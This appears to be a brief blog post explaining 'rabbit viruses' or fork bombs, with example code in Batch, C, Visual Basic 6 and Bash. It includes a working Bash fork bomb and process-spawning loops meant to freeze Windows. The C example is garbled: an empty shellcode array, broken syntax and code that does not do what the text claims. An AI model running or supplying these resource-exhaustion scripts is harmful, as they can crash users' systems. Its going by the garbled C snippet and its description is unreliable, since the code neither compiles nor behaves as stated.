malware, Uncategorized

Rabbit Viruses a.k.a Fork Bombs are more of logically flawed programs than viruses though at times intentional most programmers have made this in one way or another. A common example is an infinite while loop i.e. a while loop that always returns a true condition.

Looking at a couple example to put it into perspective on windows using less harmful ones:

Using Batch Scripting

Start cmd.exe
Start mmc.exe
Start explorer.exe
Goto :rabbit

The code above does something very simple; we ensure all its functionality is under a small sub class i.e. rabbit, once it’s done executing it is looped back to the beginning and it will keep doing so until windows freezes, logs off or restarts. It will open command prompt,Microsoft management console and windows explorer.

Using C version 6 on Windows:

// Use stdio.h header regularly
unsigned char shellcode[] =
int main ()
int rabbit =1;
While (rabbit=1)
int *ret;
ret=(int *)&ret+2;
printf(“Shellcode Length is : %d\n”,strlen(shellcode));

return 0;

The code above checks whether rabbit is equal to 1 and since it is initialized, it remains a true condition and command prompt will be lanuched endlessly.

Using Visual Basic 6

Dim wPad as string
Dim cPrompt as string
Dim rabbit as integer
While (rabbit=1)
wPad=Shell(“write.exe”, vbMaximizedFocus)
cPrompt=Shell(“cmd.exe”, vbMaximizedFocus)

The above will keep launching command prompt and wordpad as maximized windows until windows freezes, logsoff or restarts.

On linux it can be done using Bash which would take a similar approach to batch scripting lets do one example.

:(){ :|:& };:

The above will keep requesting resources until the machine is restarted.

Leave a Reply

Your email address will not be published. Required fields are marked *

September 2023